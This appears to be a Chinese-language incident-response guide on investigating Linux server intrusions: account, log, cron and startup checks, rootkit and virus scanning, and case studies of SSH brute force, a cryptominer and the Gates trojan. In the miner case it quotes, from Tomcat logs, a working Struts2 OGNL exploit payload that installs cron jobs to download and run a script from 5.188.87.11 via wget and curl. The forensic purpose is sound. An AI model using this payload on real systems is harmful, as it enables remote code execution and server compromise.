來自:信安之路(微訊號:xazlsec)
作者:bypass(信安之路作者團隊成員 & 個人公眾號 bypass)
當企業發生駭客入侵、系統崩潰或其它影響業務正常執行的安全事件時,急需第一時間進行處理,使企業的網路資訊系統在最短時間內恢復正常工作,進一步查詢入侵來源,還原入侵事故過程,同時給出解決方案與防範措施,為企業輓回或減少經濟損失。
針對常見的攻擊事件,結合工作中應急響應事件分析和解決的方法,總結了一些 Linux 伺服器入侵排查的思路。
0x01 入侵排查思路
一、賬號安全
基本使用:
1、使用者資訊檔案 /etc/passwd
root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
使用者名稱:密碼:使用者ID:組ID:使用者說明:家目錄:登陸之後shell
註意:無密碼只允許本機登陸,遠端不允許登陸
2、影子檔案 /etc/shadow
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
使用者名稱:加密密碼:密碼最後一次修改日期:兩次密碼的修改時間間隔:密碼有效期:密碼修改到期到的警告天數:密碼過期之後的寬限天數:賬號失效時間:保留
3、幾個常用命令:
who
檢視當前登入使用者(tty 本地登陸 pts 遠端登入)
w
檢視系統資訊,想知道某一時刻使用者的行為
uptime
檢視登陸多久、多少使用者,負載
入侵排查:
1、查詢特權使用者特權使用者(uid 為 0)
[root@localhost ~]# awk -F: ‘$3==0{print $1}’ /etc/passwd
2、查詢可以遠端登入的帳號資訊
[root@localhost ~]# awk ‘/$1|$6/{print $1}’ /etc/shadow
3、除 root 帳號外,其他帳號是否存在 sudo 許可權。如非管理需要,普通帳號應刪除 sudo 許可權
[root@localhost ~]# more /etc/sudoers | grep -v “^#|^$” | grep “ALL=(ALL)”
4、禁用或刪除多餘及可疑的帳號
usermod -L user
禁用帳號,帳號無法登入,/etc/shadow 第二欄為 ! 開頭
userdel user
刪除 user 使用者
userdel -r user
將刪除user使用者,並且將/home目錄下的user目錄一併刪除
二、歷史命令
基本使用:
透過 .bash_history
檢視帳號執行過的系統命令
1、root 的歷史命令
histroy
2、開啟 /home 各帳號目錄下的 .bash_history
,檢視普通帳號的歷史命令
為歷史的命令增加登入的IP地址、執行命令時間等資訊:
1)儲存 1 萬條命令
sed -i ‘s/^HISTSIZE=1000/HISTSIZE=10000/g’ /etc/profile
2)在 /etc/profile
的檔案尾部新增如下行數配置資訊:
######jiagu history xianshi#########
USER_IP=who-uam i 2>/dev/null | awk'{print $NF}'| sed-e's/[()]//g'
if[ "$USER_IP"=""]
then
USER_IP=hostname
fi
exportHISTTIMEFORMAT="%F %T $USER_IPwhoami "
shopt-shistappend
exportPROMPT_COMMAND="history -a"
######### jiagu history xianshi ##########
3)source /etc/profile
讓配置生效
生成效果:
1 2018-07-10 19:45:39 192.168.204.1 root source /etc/profile
3、歷史操作命令的清除:history -c
但此命令並不會清除儲存在檔案中的記錄,因此需要手動刪除 .bash_profile
檔案中的記錄。
入侵排查:
進入使用者目錄下:
cat .bash_history >> history.txt
三、埠
使用 netstat
網路連線命令,分析可疑埠、IP、PID
netstat -antlp|more
檢視下pid所對應的行程檔案路徑,
執行 ls -l /proc/$PID/exe
或 file /proc/$PID/exe
($PID 為對應的 pid 號)
四、行程
使用 ps 命令,分析行程
ps aux | grep pid
五、開機啟動項
基本使用:
系統執行級別示意圖:
檢視執行級別命令
runlevel
系統預設允許級別
vi /etc/inittab
id=3:initdefault 系統開機後直接進入哪個執行級別
開機啟動配置檔案
/etc/rc.local
/etc/rc.d/rc[0~6].d
例子:當我們需要開機啟動自己的指令碼時,只需要將可執行指令碼丟在 /etc/init.d
目錄下,然後在 /etc/rc.d/rc*.d
中建立軟連結即可
root@localhost ~]# ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh
此處 sshd
是具體服務的指令碼檔案,S100ssh
是其軟連結,S 開頭代表載入時自啟動;如果是 K 開頭的指令碼檔案,代表執行級別載入時需要關閉的。
入侵排查:
啟動項檔案:
more /etc/rc.local
/etc/rc.d/rc[0~6].d
ls -l /etc/rc.d/rc3.d/
六、定時任務
基本使用
1、利用 crontab 建立計劃任務
crontab -l
列出某個使用者 cron 服務的詳細內容
Tips:預設編寫的 crontab 檔案會儲存在 ( /var/spool/cron/使用者名稱
例如: /var/spool/cron/root
)
crontab -r
刪除每個使用者 cront 任務(謹慎:刪除所有的計劃任務)
crontab -e
使用編輯器編輯當前的 crontab 檔案
如:*/1 * * * * echo "hello world" >> /tmp/test.txt
每分鐘寫入檔案
2、利用 anacron 實現非同步定時任務排程
每天執行 /home/backup.sh
指令碼:
vi /etc/anacrontab
@daily 10 example.daily /bin/bash /home/backup.sh
當機器在 backup.sh 期望被執行時是關機的,anacron 會在機器開機十分鐘之後執行它,而不用再等待 7 天。
入侵排查
重點關註以下目錄中是否存在惡意指令碼
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
小技巧:
more /etc/cron.daily/* 檢視目錄下所有檔案
七、服務
服務自啟動
第一種修改方法:
chkconfig [–level 執行級別][獨立服務名][on|off]
chkconfig –level 2345 httpd on 開啟自啟動
chkconfig httpd on (預設 level 是 2345)
第二種修改方法:
修改 /etc/re.d/rc.local 檔案
加入 /etc/init.d/httpd start
第三種修改方法:
使用 ntsysv 命令管理自啟動,可以管理獨立服務和 xinetd 服務。
入侵排查
1、查詢已安裝的服務:
RPM 包安裝的服務:
chkconfig --list
檢視服務自啟動狀態,可以看到所有的RPM包安裝的服務
ps aux | grep crond
檢視當前服務
系統在 3 與 5 級別下的啟動項
中文環境
chkconfig –list | grep “3:啟用|5:啟用”
英文環境
chkconfig –list | grep “3:on|5:on”
原始碼包安裝的服務
檢視服務安裝位置 ,一般是在 /user/local/
service httpd start
搜尋 /etc/rc.d/init.d/
檢視是否存在
八、系統日誌
日誌預設存放位置:/var/log/
檢視日誌配置情況:more /etc/rsyslog.conf
日誌分析技巧:
1、定位有多少IP在爆破主機的 root 帳號:
grep “Failed password for root” /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more
定位有哪些 IP 在爆破:
grep “Failed password” /var/log/secure|grep -E -o “(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)”|uniq -c
爆破使用者名稱字典是什麼?
grep “Failed password” /var/log/secure|perl -e ‘while($_=<>){ /for(.*?) from/; print “$1
“;}’|uniq -c|sort -nr
2、登入成功的 IP 有哪些:
grep “Accepted ” /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more
登入成功的日期、使用者名稱、IP:
grep “Accepted ” /var/log/secure | awk ‘{print $1,$2,$3,$9,$11}’
3、增加一個使用者 kali 日誌:
Jul1000:12:15localhostuseradd[2382]: newgroup: namekali, GID1001
Jul1000:12:15localhostuseradd[2382]: newuser: namekali, UID1001, GID1001, homehomekali
, shellbinbash
Jul1000:12:58localhostpasswd: pam_unix(passwd:chauthtok): passwordchangedforkali
#grep"useradd"varlogsecure
4、刪除使用者kali日誌:
Jul1000:14:17localhostuserdel[2393]: deleteuser'kali'
Jul1000:14:17localhostuserdel[2393]: removedgroup'kali' ownedby'kali'
Jul1000:14:17localhostuserdel[2393]: removedshadowgroup'kali' ownedby'kali'
#grep"userdel"varlogsecure
5、su 切換使用者:
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)
sudo 授權執行:
sudo -lJul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now
0x02 工具篇
一、Rootkit 查殺
chkrootkit :
http://www.chkrootkit.org
使用方法:
wgetftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar zxvf chkrootkit.tar.gz
cdchkrootkit-0.52
makesense
#編譯完成沒有報錯的話執行檢查
./chkrootkit
rkhunter
http://rkhunter.sourceforge.net
使用方法:
Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvfrkhunter-1.4.4.tar.gz
cdrkhunter-1.4.4
./installer.sh --install
rkhunter -c
二、病毒查殺
Clamav
ClamAV 的官方下載地址為:
http://www.clamav.net/download.html
安裝方式一:
1、安裝 zlib:
wgethttp://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/zlib-1.2.7.tar.gz
tar -zxvfzlib-1.2.7.tar.gz
cdzlib-1.2.7
#安裝一下gcc編譯環境: yum install gcc
CFLAGS="-O3 -fPIC"./configure --prefix=/usr/local/zlib/
make&& makeinstall
2、新增使用者組 clamav 和組成員 clamav:
groupadd clamav
useradd -gclamav -s/bin/false -c"Clam AntiVirus"clamav
3、安裝 Clamav
tar –zxvf clamav-0.97.6.tar.gz
cdclamav-0.97.6
./configure --prefix=/opt/clamav --disable-clamav-with-zlib=/usr/local/zlib
make
makeinstall
4、配置 Clamav
mkdir/opt/clamav/logs
mkdir/opt/clamav/updata
touch/opt/clamav/logs/freshclam.log
touch/opt/clamav/logs/clamd.log
cd/opt/clamav/logs
chownclamav:clamav clamd.log
chownclamav:clamav freshclam.log
5、ClamAV 使用:
/opt/clamav/bin/freshclam
升級病毒庫
./clamscan –h
檢視相應的幫助資訊
./clamscan -r /home
掃描所有使用者的主目錄就使用
./clamscan -r --bell -i /bin
掃描 bin 目錄並且顯示有問題的檔案的掃描結果
安裝方式二:
#安裝
yum install -yclamav
#更新病毒庫
freshclam
#掃描方法
clamscan -r/etc --max-dir-recursion=5-l/root/etcclamav.log
clamscan -r/bin --max-dir-recursion=5-l/root/binclamav.log
clamscan -r/usr --max-dir-recursion=5-l/root/usrclamav.log
#掃描並防毒
clamscan -r --remove/usr/bin/bsd-port
clamscan -r --remove/usr/bin/
clamscan -r--remove/usr/local/zabbix/sbin
#檢視日誌發現
cat/root/usrclamav.log |grep FOUND
三、webshell 查殺
linux 版:
河馬 webshell 查殺:
http://www.shellpub.com
深信服 Webshell 網站後門檢測工具:
http://edr.sangfor.com.cn/backdoor_detection.html
四、RPM check 檢查
系統完整性可以透過 rpm 自帶的 -Va 來校驗檢查所有的 rpm 軟體包,檢視哪些命令是否被替換了:
./rpm -Va > rpm.log
如果一切均校驗正常將不會產生任何輸出,如果有不一致的地方,就會顯示出來,輸出格式是 8 位長字串,每個字元都用以表示檔案與 RPM 資料庫中一種屬性的比較結果 ,如果是. (點) 則表示測試透過。
驗證內容中的 8 個資訊的具體內容如下:
S
檔案大小是否改變
M
檔案的型別或檔案的許可權(rwx)是否被改變
5
檔案 MD5 校驗是否改變(可以看成檔案內容是否改變)
D
裝置中,從程式碼是否改變
L
檔案路徑是否改變
U
檔案的屬主(所有者)是否改變
G
檔案的屬組是否改變
T
檔案的修改時間是否改變
如果命令被替換了,如果還原回來:
檔案提取還原案例:
rpm -qf /bin/ls
查詢ls命令屬於哪個軟體包
mv /bin/ls /tmp
先把 ls 轉移到 tmp 目錄下,造成 ls 命令丟失的假象
rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls
提取 rpm 包中 ls 命令到當前目錄的 /bin/ls
下
cp /root/bin/ls /bin/
把 ls 命令複製到 /bin/ 目錄 修複檔案丟失
0x03 應急響應實戰之 SSH 暴力破解
SSH 是目前較可靠,專為遠端登入會話和其他網路服務提供安全性的協議,主要用於給遠端登入會話資料進行加密,保證資料傳輸的安全。SSH 口令長度太短或者複雜度不夠,如僅包含數字,或僅包含字母等,容易被攻擊者破解,一旦被攻擊者獲取,可用來直接登入系統,控制伺服器所有許可權。
應急場景
某天,網站管理員登入伺服器進行巡檢時,發現埠連線裡存在兩條可疑的連線記錄,如下圖:
1、TCP 初始化連線三次握手吧:發 SYN 包,然後傳回 SYN/ACK 包,再發 ACK 包,連線正式建立。但是這裡有點出入,當請求者收到 SYS/ACK 包後,就開始建立連線了,而被請求者第三次握手結束後才建立連線。
2、客戶端 TCP 狀態遷移:
CLOSED->SYN_SENT->ESTABLISHED->FIN_WAIT_1->FIN_WAIT_2->TIME_WAIT->CLOSED
伺服器 TCP 狀態遷移:
CLOSED->LISTEN->SYN recv->ESTABLISHED->CLOSE_WAIT->LAST_ACK->CLOSED
3、當客戶端開始連線時,伺服器還處於 LISTENING,客戶端發一個 SYN 包後,服務端接收到了客戶端的 SYN 並且發送了 ACK 時,伺服器處於 SYN_RECV 狀態,然後並沒有再次收到客戶端的 ACK 進入 ESTABLISHED 狀態,一直停留在 SYN_RECV 狀態。
在這裡,SSH(22)埠,兩條外網 IP 的 SYN_RECV 狀態連線,直覺告訴了管理員,這裡一定有什麼異常。
日誌分析
SSH 埠異常,我們首先有必要先來瞭解一下系統賬號情況:
A、系統賬號情況
1、除 root 之外,是否還有其它特權使用者 (uid 為 0)
[root@localhost ~]# awk -F: ‘$3==0{print $1}’ /etc/passwd
root
2、可以遠端登入的帳號資訊
[root@localhost ~]# awk ‘/$1|$6/{print $1}’ /etc/shadow
root:$6$38cKfZDjsTiUe58V$FP.UHWMObqeUQS1Z2KRj/4EEcOPi.6d1XmKHgK3j3GY9EGvwwBei7nUbbqJC./qK12HN8jFuXOfEYIKLID6hq0::0:99999:7:::
我們可以確認目前系統只有一個管理使用者 root。
接下來,我們想到的是 /var/log/secure
,這個日誌檔案記錄了驗證和授權方面的資訊,只要涉及賬號和密碼的程式都會記錄下來。
B、確認攻擊情況:
1、統計了下日誌,發現大約有 126254 次登入失敗的記錄,確認伺服器遭受暴力破解
[root@localhost ~]# grep -o “Failed password” /var/log/secure|uniq -c
126254 Failed password
2、輸出登入爆破的第一行和最後一行,確認爆破時間範圍:
[root@localhost ~]# grep “Failed password” /var/log/secure|head -1
Jul 8 20:14:59 localhost sshd[14323]: Failed password for invalid user qwe from 111.13.xxx.xxx port 1503 ssh2
[root@localhost ~]# grep “Failed password” /var/log/secure|tail -1
Jul 10 12:37:21 localhost sshd[2654]: Failed password for root from 111.13.xxx.xxx port 13068 ssh2
3、進一步定位有哪些 IP 在爆破?
[root@localhost ~]# grep “Failed password” /var/log/secure|grep -E -o “(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)”|uniq -c | sort -nr
12622 23.91.xxx.xxx 8942 114.104.xxx.xxx 8122 111.13.xxx.xxx 7525 123.59.xxx.xxx ……………….
4、爆破使用者名稱字典都有哪些?
[root@localhost ~]# grep “Failed password” /var/log/secure|perl -e ‘while($_=<>){ /for(.*?) from/; print “$1
“;}’|uniq -c|sort -nr9402 root 3265 invalid user oracle 1245 invalid user admin 1025 invalid user user …………………
C、管理員最近登入情況:
1、登入成功的日期、使用者名稱、IP:
[root@localhost ~]# grep “Accepted ” /var/log/secure | awk ‘{print $1,$2,$3,$9,$11}’
Jul 9 09:38:09 root 192.168.143.100Jul 9 14:55:51 root 192.168.143.100Jul 10 08:54:26 root 192.168.143.100Jul 10 16:25:59 root 192.168.143.100……………………….
透過登入日誌分析,並未發現異常登入時間和登入IP。
2、順便統計一下登入成功的 IP 有哪些:
[root@localhost ~]# grep “Accepted ” /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more
27 192.168.204.1
透過日誌分析,發現攻擊者使用了大量的使用者名稱進行暴力破解,但從近段時間的系統管理員登入記錄來看,並未發現異常登入的情況,需要進一步對網站伺服器進行入侵排查,這裡就不再闡述。
處理措施
SSH暴力破解依然十分普遍,如何保護伺服器不受暴力破解攻擊,總結了幾種措施:
1、禁止向公網開放管理埠,若必須開放應限定管理 IP 地址並加強口令安全審計(口令長度不低於 8 位,由數字、大小寫字母、特殊字元等至少兩種以上組合構成)。
2、更改伺服器 ssh 預設埠。
3、部署入侵檢測裝置,增強安全防護。
0x04 應急響應實戰之短連線
短連線(short connnection)是相對於長連線而言的概念,指的是在資料傳送過程中,只在需要傳送資料時,才去建立一個連線,資料傳送完成後,則斷開此連線,即每次連線只完成一項業務的傳送。 在系統維護中,一般很難去察覺,需要藉助網路安全裝置或者抓包分析,才能夠去發現。
應急場景
某天,網路管理員在出口 WAF 檢測到某臺伺服器不斷向香港I發起請求 ,感覺很奇怪,登入伺服器排查,想要找到發起短連線的行程。
日誌分析
登入伺服器檢視埠、行程,並未發現發現伺服器異常,但是當多次掃清埠連線時,可以檢視該連線。 有時候一直刷這條命令好十幾次才會出現,像這種的短連線極難捕捉到對應的行程和源檔案。
手動捕捉估計沒戲,很難追蹤,於是動手寫了一段小指令碼來捕捉短連線對應的pid和源檔案。
指令碼檔案如下:
#!/bin/bash
ip=118.184.15.40
i=1
while:
do
tmp=netstat -anplt|grep $ip|awk -F'[/]''{print $1}'|awk '{print $7}'
#echo $tmp
iftest -z"$tmp"
then
((i=i+1))
else
forpid in$tmp; do
echo"PID: "${pid}
result=`ls -lh /proc/$pid|grep exe`
echo"Process: "${result}
kill-9$pid
done
break
fi
done
echo"Total number of times: "${i}
執行結果如下:
跑了三次指令碼,可以發現短連線每次發起的行程 Pid 一直在變,但已經捕捉到發起該異常連線的行程源檔案為 /usr/lib/nfsiod
小結
本文簡單介紹了短連線以及捕捉短連線源檔案的技巧,站在安全管理員的角度,應加強對網路安全裝置的管理,在網路層去發現更多在系統層很難察覺的安全威脅。
0x05 應急響應實戰之挖礦病毒
隨著虛擬貨幣的瘋狂炒作,利用挖礦指令碼來實現流量變現,使得挖礦病毒成為不法分子利用最為頻繁的攻擊方式。新的挖礦攻擊展現出了類似蠕蟲的行為,並結合了高階攻擊技術,以增加對標的伺服器感染的成功率,透過利用永恆之藍(EternalBlue)、web 攻擊多種漏洞(如 Tomcat 弱口令攻擊、Weblogic WLS 元件漏洞、Jboss 反序列化漏洞、Struts2 遠端命令執行等),導致大量伺服器被感染挖礦程式的現象 。
應急場景
某天,安全管理員在登入安全裝置巡檢時,發現某臺網站伺服器持續向境外IP發起連線,下載病毒源:
事件分析
A、排查過程
登入伺服器,檢視系統行程狀態,發現不規則命名的異常行程、異常下載行程 :
下載 logo.jpg,包含指令碼內容如下:
到這裡,我們可以發現攻擊者下載 logo.jpg 並執行了裡面了 shell 指令碼,那這個指令碼是如何啟動的呢?
透過排查系統開機啟動項、定時任務、服務等,在定時任務裡面,發現了惡意指令碼,每隔一段時間發起請求下載病毒源,並執行 。
B、溯源分析
在 Tomcat log 日誌中,我們找到這樣一條記錄:
對日誌中攻擊原始碼進行摘錄如下:
{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh
*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh" | crontab -;wget -O - -q http://5.188.87.11/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
可以發現攻擊程式碼中的操作與定時任務中異常指令碼一致,據此推斷駭客透過 Struct 遠端命令執行漏洞向伺服器定時任務中寫入惡意指令碼並執行。
C、清除病毒
1、刪除定時任務:
2、終止異常行程:
D、漏洞修複
升級 struts 到最新版本
防範措施
針對伺服器被感染挖礦程式的現象,總結了幾種預防措施:
1、安裝安全軟體並升級病毒庫,定期全盤掃描,保持實時防護
2、及時更新 Windows 安全補丁,開啟防火牆臨時關閉埠
3、及時更新 web漏洞補丁,升級web元件
0x06 應急響應實戰之蓋茨木馬
Linux 蓋茨木馬是一類有著豐富歷史,隱藏手法巧妙,網路攻擊行為顯著的 DDoS 木馬,主要惡意特點是具備了後門程式,DDoS 攻擊的能力,並且會替換常用的系統檔案進行偽裝。木馬得名於其在變數函式的命名中,大量使用 Gates 這個單詞。分析和清除蓋茨木馬的過程,可以發現有很多值得去學習和借鑒的地方。
應急場景
某天,網站管理員發現伺服器 CPU 資源異常,幾個異常行程佔用大量網路頻寬:
事件分析
異常 IP連線:
異常行程:
檢視進行發現 ps aux 行程異常,進入該目錄發現多個命令,猜測命令可能已被替換
登入伺服器,檢視系統行程狀態,發現不規則命名的異常行程、異常下載行程 :
異常啟動項
進入rc3.d目錄可以發現多個異常進行:
/etc/rc.d/rc3.d/S97DbSecuritySpt
/etc/rc.d/rc3.d/S99selinux
搜尋病毒原體
find / -size -1223124c -size +1223122c -exec ls -id {} ; 搜尋 1223123 大小的檔案
從以上種種行為發現該病毒與“蓋茨木馬”有點類似,具體技術分析細節詳見:
Linux平臺“蓋茨木馬”分析
http://www.freebuf.com/articles/system/117823.html
懸鏡伺服器衛士丨Linux平臺“蓋茨木馬”分析
http://www.sohu.com/a/117926079_515168
手動清除木馬過程:
1、簡單判斷有無木馬
#有無下列檔案
cat/etc/rc.d/init.d/selinux
cat/etc/rc.d/init.d/DbSecuritySpt
ls/usr/bin/bsd-port
ls/usr/bin/dpkgd
#檢視大小是否正常
ls-lh/bin/netstat
ls-lh/bin/ps
ls-lh/usr/sbin/lsof
ls-lh/usr/sbin/ss
2、上傳如下命令到 /root 下
ps netstat ss lsof
3、刪除如下目錄及檔案
rm-rf/usr/bin/dpkgd (ps netstat lsof ss)
rm-rf/usr/bin/bsd-port #木馬程式
rm-f/usr/bin/.sshd #木馬後門
rm-f/tmp/gates.lod
rm-f/tmp/moni.lod
rm-f/etc/rc.d/init.d/DbSecuritySpt(啟動上述描述的那些木馬變種程式)
rm-f/etc/rc.d/rc1.d/S97DbSecuritySpt
rm-f/etc/rc.d/rc2.d/S97DbSecuritySpt
rm-f/etc/rc.d/rc3.d/S97DbSecuritySpt
rm-f/etc/rc.d/rc4.d/S97DbSecuritySpt
rm-f/etc/rc.d/rc5.d/S97DbSecuritySpt
rm-f/etc/rc.d/init.d/selinux(預設是啟動/usr/bin/bsd-port/getty)
rm-f/etc/rc.d/rc1.d/S99selinux
rm-f/etc/rc.d/rc2.d/S99selinux
rm-f/etc/rc.d/rc3.d/S99selinux
rm-f/etc/rc.d/rc4.d/S99selinux
rm-f/etc/rc.d/rc5.d/S99selinux
4、找出異常程式並殺死
5、刪除含木馬命令並重新安裝
命令替換
RPM check 檢查:
系統完整性也可以透過 rpm 自帶的 -Va 來校驗檢查所有的 rpm 軟體包,有哪些被篡改了,防止 rpm 也被替換,上傳一個安全乾凈穩定版本 rpm 二進位制到伺服器上進行檢查
./rpm -Va > rpm.log
如果一切均校驗正常將不會產生任何輸出。如果有不一致的地方,就會顯示出來。輸出格式是8位長字串, c 用以指配置檔案, 接著是檔案名. 8 位字元的每一個 用以表示檔案與 RPM 資料庫中一種屬性的比較結果 。
. (點) 表示測試透過。.下麵的字元表示對 RPM 軟體包進行的某種測試失敗:
命令替換:
rpm2cpio 包全名 | cpio -idv .檔案絕對路徑 rpm 包中檔案提取
Rpm2cpio 將 rpm 包轉換為 cpio 格式的命令
Cpio 是一個標準工具,它用於建立軟體檔案檔案和從檔案檔案中提取檔案
Cpio 選項 < [檔案|裝置]
-i:copy-in 樣式,還原-d:還原時自動新建目錄-v:顯示還原過程
檔案提取還原案例:
查詢ls命令屬於哪個軟體包
rpm -qf /bin/ls
mv /bin/ls /tmp
提取rpm包中ls命令到當前目錄的 /bin/ls 下:
rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls
把 ls 命令複製到 /bin/ 目錄 修複檔案丟失:
cp /root/bin/ls /bin/
掛載命令 rpm 包:
mkdir /mnt/chrom/ 建立掛載點
mount -t iso9660 /dev/cdrom /mnt/cdrom/ 掛在光碟
mount/dev/sr0 /mnt/cdrom/
解除安裝命令
umount 裝置檔案名或掛載點
umount /mnt/cdrom/
參考連結:
https://www.zhihu.com/question/33964391
http://www.freebuf.com/articles/system/11424.html
https://help.aliyun.com/knowledge_detail/37479.html?spm=a2c4g.11186623.4.1.W0eomj
https://cloud.tencent.com/document/product/296/9604
●編號733,輸入編號直達本文
●輸入m獲取文章目錄
Linux學習
更多推薦《25個技術類微信公眾號》
涵蓋:程式人生、演演算法與資料結構、駭客技術與網路安全、大資料技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維等。